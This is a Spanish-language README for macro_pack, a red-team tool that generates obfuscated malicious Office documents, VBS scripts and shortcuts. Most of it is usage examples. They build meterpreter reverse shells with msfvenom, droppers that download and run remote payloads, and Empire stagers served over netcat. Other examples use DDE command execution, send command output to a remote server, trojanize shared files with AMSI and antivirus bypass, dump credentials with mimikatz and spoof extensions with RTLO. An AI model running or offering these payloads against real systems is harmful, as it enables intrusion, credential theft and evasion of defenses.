
macro_pack es una herramienta de @EmericNasi utilizada para automatizar la ofuscación y generación de documentos de Office, scripts VB, accesos directos y otros formatos para pruebas de penetración, demostraciones y evaluaciones de ingeniería social. El objetivo de macro_pack es simplificar la explotación, el bypass de antimalware y automatizar el proceso desde la generación de macros y scripts maliciosos hasta la generación del documento final. También proporciona muchas funciones útiles para redteam o investigación de seguridad.
MacroPack Community es una herramienta utilizada para automatizar la ofuscación y generación de formatos retro como documentos de MS Office o formatos tipo VBS. También maneja varios formatos de accesos directos. Esta herramienta puede ser utilizada para red teaming, pruebas de penetración, demos y evaluaciones de ingeniería social. MacroPack simplificará la evasión de soluciones antimalware y automatizará el proceso desde el código fuente de VB hasta el documento final de Office u otro tipo de payload. Es muy simple de usar:
La herramienta es compatible con payloads generados por herramientas populares de pentest (Metasploit, Empire, ...). También es fácil de combinar con otras herramientas, ya que es posible leer la entrada desde stdin y tener una salida silenciosa hacia otra herramienta. Esta herramienta está escrita en Python3 y funciona tanto en plataformas Linux como Windows.
Nota: Se requiere una plataforma Windows con las aplicaciones adecuadas de MS Office instaladas para la generación automática de documentos de Office o las funciones de troyanización.

La herramienta utilizará varias técnicas de ofuscación, todas automáticas. Las funciones de ofuscación son compatibles con todos los formatos basados en VBA y VBS que pueden ser generados por MacroPack. La ofuscación básica (opción -o) incluye:
MacroPack puede generar varios tipos de formatos de documentos de MS Office y scripts. El formato se adivinará automáticamente dependiendo de la extensión del archivo proporcionada. La generación de archivos se realiza mediante la opción --generate o -G.
La versión pro de MacroPack también permite troyanizar archivos de Office existentes con la opción --trojan o -T.
Los formatos compatibles de MS Office son:
Los formatos de scripting (txt) compatibles son:
Los formatos de accesos directos/Shell compatibles son:
Tenga en cuenta que todos los formatos de scripting y accesos directos (excepto LNK) también se pueden generar en la versión Linux de MacroPack.
Este software debe usarse únicamente en el contexto de un ejercicio de Red Team, prueba de penetración, simulación de phishing, investigación de seguridad u otra forma de evaluación de seguridad, con la autorización legal y formal de los propietarios del sistema. El uso de este software para atacar objetivos sin consentimiento previo está prohibido y es ilegal. Es responsabilidad del usuario cumplir con todas las leyes locales, estatales, federales y nacionales aplicables. No asumimos ninguna responsabilidad ni somos responsables de ningún uso indebido o daño que pueda causarse por el uso de este software.
No todas las capacidades y opciones de MacroPack están disponibles en MacroPack Community. Solo la versión comunitaria está disponible en línea. Las características de la versión pro realmente "armamentizan" el proceso, por lo que su acceso está restringido a profesionales. El modo pro incluye características como:
Algunos videos cortos de demostración están disponibles en el canal de Vimeo de BallisKit.
Importante: Si desea contactarme sobre MacroPack pro, use mi dirección de correo electrónico emeric.nasi [at] sevagas.com. No responderé consultas anónimas para la versión Pro, solo correos electrónicos profesionales.
### Instalar desde las fuentes
Debes estar en una máquina con Windows para compilar MacroPack. Descarga e instala las dependencias:```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
La herramienta está en python 3, así que simplemente comienza con tu instalación de python3. ej:```bash python3 macro_pack.py --help
python macro_pack.py --help # if python3 is default install
Si deseas producir un exe independiente usando pyinstaller:
* Instala pyinstaller: pip install pyinstaller
* Haz doble clic en el script "build.bat".
El macro\_pack.exe resultante estará dentro del directorio **bin**.
## Algunos ejemplos
### MacroPack Community
- Lista todos los formatos de archivo soportados```bash
macro_pack.exe --listformats
- Ofuscar el archivo vba generado por msfvenom y coloca el resultado en un nuevo archivo VBA.```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
- Generar un archivo de Microsoft Excel que contenga un dropper ofuscado (descargar payload.exe y almacenar como dropped.exe)```bash
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
- Descargar y ejecutar Empire Launcher stager sin powershell.exe usando la plantilla DROPPER_PS```bash
# 1 Generate a file containing Empire lauchcher
# 2 Make that file available on web server, ex with netcat:
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1
# 3 Use macro\_pack to generate DROPPER_PS payload in Excel file
echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls
# 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/23fa8cfadc283a7abf02bde5fd10748c8c1d90bc3d977ee47024fe4e9d963824.png" alt="Demostración de DDE en Excel"></p>
- Descargar y ejecutar archivo mediante PowerShell usando un ataque de Intercambio Dinámico de Datos (DDE)```bash
# 1 Change the target file URL in resources\community\ps_dl_exec.cmd
# 2 Embed download execute cmd in document
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xslx
=cmd|' /c notepad.exe'!A1
macro_pack.exe -G dde.iqy
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/26c6e5a38eb09ae914c743b473890cef40632ccbd25bce0a895f9f4770377f7d.png" alt="Demostración de IQY"></p>
- Generar archivo VBS de meterpreter reverse TCP ofuscado y ejecutarlo ```batch
# 1 Generate obfuscated VBS based on meterpreter template as well as Metasploit resource file
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.vbs
# 2 On attacker machine Setup meterpreter listener
msfconsole -r meterpreter.rc
# 3 run VBS file with wscript (run 32bit wscript because meterpreter payload is 32bit)
%windir%\SysWoW64\wscript meter.vbs
echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t REMOTE_CMD -o -G info.hta
macro_pack.exe -l . --port=1234
mshta.exe full/path/to/info.hta
- Generar un acceso directo de URL que ejecuta un archivo HTA local al hacer clic en él.```batch
echo "file://C:\Users\username\Desktop\hello.hta" | macro_pack.exe -G yop.url
### Algunos ejemplos de MacroPack Pro
- Infecte el archivo compartido existente "report.xlsm" con un dropper. Utilice las funciones anti-AV y anti-reverse.```bash
echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:\accounting\report.xls"
- Troyanizar un archivo de PowerPoint con un reverse raw shellcode. La Macro está ofuscada y alterada para eludir AMSI y la mayoría de los antivirus.```bash
echo beacon.bin | macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
REM Step 2: Generate document, for example here, meterpreter reverse TCP Excel file echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsm REM Step 3: Copy the document somewhere on remote share copy meter.xlsm "\192.168.0.8\c$\users\username\meter.xlsm" REM Step 4: Execute! macro_pack.exe --dcom="\192.168.0.8\c$\users\username\meter.xlsm"
REM Step 2 to 4 in one step: echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "\192.168.0.8\c$\users\username\meter.xlsm" --dcom="\192.168.0.8\c$\users\username\meter.xlsm"
## Todas las opciones de la versión comunitaria```
Main payload generation options:
-G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension.
MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files.
Note: Office payload generation requires that MS Office application is installed on the machine
--listformats View all file formats which can be generated by MacroPack
-f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats
If no input file is provided, input must be passed via stdin (using a pipe).
-t, --template=TEMPLATE_NAME Use code template already included in MacroPack
MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass
--listtemplates View all templates provided by MacroPack
-e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document.
Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll.
Security bypass options:
-o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name)
--obfuscate-names-charset=<CHARSET> Set a charset for obfuscated variables and functions
Choose between: alpha, alphanum, complete or provide the list of char you want
--obfuscate-names-minlen=<len> Set min length of obfuscated variables and functions (default 8)
--obfuscate-names-maxlen=<len> Set max length of obfuscated variables and functions (default 20)
--uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates
Other options:
-q, --quiet Do not display anything on screen, just process request.
-p, --print Display result file on stdout (will display VBA for Office formats)
Combine this option with -q option to pipe result into another program
ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app
-s, --start-function=START_FUNCTION Entry point of macro file
Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function
--icon Path of generated file icon. Default is %windir%\system32\imageres.dll,67
--dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE
This option is only compatible with Excel formats.
--run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations.
This will trigger AutoOpen/Workbook_Open automatically.
If no auto start function, use --start-function option to indicate which macro to run.
--unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers.
Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg
In this case, windows or linux explorers will show the file named as: somethingath.jpg
-l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80.
-w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH.
--port=PORT Specify the listening port for HTTP and WebDAV servers.
-h, --help Displays help and exit
Las plantillas se pueden invocar usando -t, --template=TEMPLATE_NAME combinado con otras opciones.
Aquí están todas las plantillas disponibles.
Simplemente imprime un mensaje de saludo y conciencia sobre la macro.
Proporcione a esta plantilla el nombre o correo del autor:
-> Ejemplo: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
Ejecuta un comando.
Proporcione a esta plantilla una línea de comandos
-> Ejemplo (ejecutar calc.exe desde un archivo xslt): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
Ejecuta una línea de comandos y envía los resultados a un servidor HTTP remoto.
Proporcione a esta plantilla la URL del servidor y el comando a ejecutar:
-> Ejemplo: ```echo "http://192.168.0.5:7777" "dir /Q C:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc``````bash
nc -l -p 7777
### DROPPER
Descargar y ejecutar un archivo.
Proporcione a esta plantilla la URL del archivo y la ruta del archivo destino
-> Ejemplo: ```echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls```
### DROPPER_PS
Descargar y ejecutar script de Powershell usando rundll32 (para evitar powershell.exe bloqueado).
Nota: Esta carga útil descargará PowerShdll de Github.
Proporcione a esta plantilla la URL del script de powershell que desea ejecutar:
-> Ejemplo: ```echo "<powershell_script_url>" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc```
### DROPPER_DLL
Descargar un DLL con otra extensión y ejecutarlo usando Office VBA.
-> Ejemplo, cargar DLL de meterpreter usando Office:```batch
REM Generate meterpreter dll payload
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dll
REM Make it available on webserver, ex using netcat on port 6666
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat meter.dll; } | nc -l -p 6666 -q1
REM Create OFfice file which will download DLL and call it
REM The DLL URL is http://192.168.0.5:6666/normal.html and it will be saved as .asd file
echo "http://192.168.0.5:6666/normal.html" Run | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls
Plantilla inversa TCP de Meterpreter usando MacroMeter por Cn33liz.
Esta plantilla es un stager CSharp de Meterpreter construido por Cn33liz e incrustado en VBA mediante DotNetToJScript de James Forshaw.
Proporcione a esta plantilla la IP y el PUERTO del mfsconsole en escucha:
-> Ejemplo: echo <ip> <puerto> | macro_pack.exe -t METERPRETER -o -G meter.docm
Esta plantilla también genera un archivo meterpreter.rc para crear el manejador de Metasploit
-> Ejemplo: msfconsole -r meterpreter.rc
Soltar y ejecutar un archivo incrustado.
Combine con la opción --embed; soltará y ejecutará el archivo incrustado con un nombre aleatorio en la carpeta TEMP.
-> Ejemplo: macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs
Combine con la opción --embed; soltará y llamará a una función en la DLL proporcionada.
Proporcione a esta plantilla el nombre y los parámetros de la función a llamar en la DLL.
-> Ejemplo1 : echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> Ejemplo2 : echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
Se probaron varias funcionalidades contra soluciones antimalware instaladas localmente, así como contra servicios en línea. Realicé múltiples pruebas con varios tipos de payloads y funcionalidades de MacroPack. La mayoría de las detecciones antivirus estáticas serán evadidas por la simple opción "obfuscate". Sin embargo, como ocurre con la mayoría de las herramientas gratuitas, los payloads generalmente son detectados por análisis de comportamiento como AMSI. Las funcionalidades disponibles en el modo Pro de MacroPack generalmente permiten evasión total del antivirus, incluyendo AMSI.
Advertencia: No envíe sus muestras a escáneres en línea (ej. VirusTotal); es la mejor manera de arruinar su macro sigilosa. También le sugiero que no las envíe a sitios que no reportan, como NoDistribute. No puede estar seguro de lo que estos sitios harán con los datos que envíe. Si tiene un problema con la detección antivirus de macro_pack, puede escribirnos para recibir asesoramiento o enviar un issue o pull request.
Entradas de blog sobre MacroPack Pro:
Entradas de blog sobre hacking con MS Office, VBS y otras cosas retro de seguridad:
Otros enlaces útiles:
No dude en enviarme un mensaje en mi cuenta de Twitter @EmericNasi
Correos electrónicos:
Importante: Si desea contactarme sobre MacroPack Pro, use mi dirección de correo sevagas.com. Tenga en cuenta que no responderé consultas anónimas sobre la versión Pro, solo correos profesionales.
Copyright 2017,2018,2019,2020,2021,2022 Emeric “Sio” Nasi (blog.sevagas.com)